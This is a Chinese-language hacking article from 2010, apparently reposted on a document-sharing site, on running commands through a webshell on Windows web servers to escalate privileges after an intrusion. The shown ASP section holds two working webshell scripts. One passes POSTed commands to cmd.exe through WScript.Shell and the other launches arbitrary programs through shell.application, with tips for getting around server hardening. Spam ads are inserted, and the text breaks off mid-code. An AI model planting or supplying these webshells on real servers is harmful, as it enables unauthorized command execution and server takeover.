浅谈在WEBSHELL下如何运行命令
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
浅谈在WEBSHELL下如何运行命令
Author: kyo327
EMail: humour327@
Date: 2010-06-16
Thanks: 互联网
[ 目录 ]
0×00 前言
0×01 在asp环境下运行命令的方法
0×02在aspx环境下运行命令的方法
0×03在php环境下运行命令的方法
0×04 在jsp 环境下运行命令的方法
0×05 其他脚本环境下运行命令的方法
0×06 后记
0×00 前言
随着互联网的发展和互联网用户的快速增长,越来越多的应用都转向B/S
结构,因为它是跨平台的、易操作的、方便的、迅速的,这样不论用户使用什么样的操作系统,仅仅需要安装一个浏览器就能享受在线购物、网上支付、看电影、写博客等等各种各样便捷的服务,特别是WEB2.0时代的到来更增添了互联网的活力。但是这样就会导致越来越多的WEB安全问题的出现,比如sql注入、XSS、上传漏洞、弱口令、目录遍历等,虽然早在数十年前就被发现这些漏洞产生的根本原因,可它们却始终都没有退出历史的舞台,依然是WEB应用程序主要的安全问题,其实这也不是安全厂商和企业不重视安全,也许是恶意入侵者又从他们的安全解决方案里找到新的漏洞、也许是配合其他的漏洞形成一个不是漏洞的漏洞、也许是服务器配置方面出现了问题、也许是出于对用户的信任(因为不是所有的用户都是循规蹈矩的)、再或许是由新增加应用导致的。总之还是一句话,安全是一个整体。
*************************************************************** 这里插播个广告,黑友们请无视,只是为朋友的网站能被搜索引擎收录,多加点流量。
返利网,淘你喜欢,淘宝返利,淘宝返现购物。
***************************************************************
在当前这个时代,靠一个远程溢出直接获得一个SHELL对于一般的黑客来说是过于奢侈了,就算真的有传说中的80端口溢出,也要看目标值不值得用。所以一般来说大多数黑客还是从WEB应用入手。不论用什么方法吧,先拿到一个WEBSHELL是最基本的,哪怕仅仅是同C类网段的一台机器,起码可以试试ARP嗅探。而拿到一个WEBSHELL后,面临最多的一个问题就是提升权限。特别是在遇到虚拟主机的时候,当你的目标在另外一个目录,你没有办法进目标网站,仅仅是靠旁注进了同一服务器的其他站点,这种情况提权跨目录成了必经之路。但是要提升权限基本上都是要执行命令的,现在的大多数WEB服务器、虚拟主机等都做了安全设置,因此本文就谈一谈在各种脚本语言环境下都有哪些方法可以执行命令。(本文仅探讨服务器为windows的情况)
0×01 在asp环境下运行命令的方法
当拿到一个asp的WEBSHELL时,想运行命令,一般是先查看一下组件支持情况。如图1
图1
可以看到,图1中显示是不支持wscript.shell和work的。而服务器有可能只是在注册表中改了名称,却没有卸载或删除
C:\windows\System32\wshom.ocx。这样可以上传下面这段脚本试一试:MyCode1:
<%if err then%>
<% end if %>
<%On Error Resume Next
if request.form("cmdx")="C:\Documents and Settings\All Users\cmd.exe" then
response.write shell.exec("cmd.exe /c"&request.form("cmd")).stdout.readall
end if
response.write shell.exec(request.form("cmdx")&" /c"&request.form("cmd")).stdout.readall
%>
当服务设置卸载(regsvr32 /u C:\windows\System32\wshom.ocx)或删除了wshom.ocx时,我们还可以使用shell.application组件来运行命令。在我进行测试时,发现海洋2006中所带的shell.application运行器无法在windows2003中运行命令,在win2000中倒是没问题的。
*************************************************************** 这里插播个广告,黑友们请无视,只是为朋友的网站能被搜索引擎收录,多加点流量。
返利网,淘你喜欢,淘宝返利,淘宝返现购物。
***************************************************************
在后来的不经意的测试中,我发现了使用shell.application在win2003中运行命令的方法。代码如下:
MyCode2:
程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<%
appnames = Request.Form("text1")
canshu = Request.Form("text2")
if appnames<>"" then
set kyoshell=createobject("shell.application")
kyoshell.ShellExecute appnames,canshu,"","open",0
response.write "
end if
%>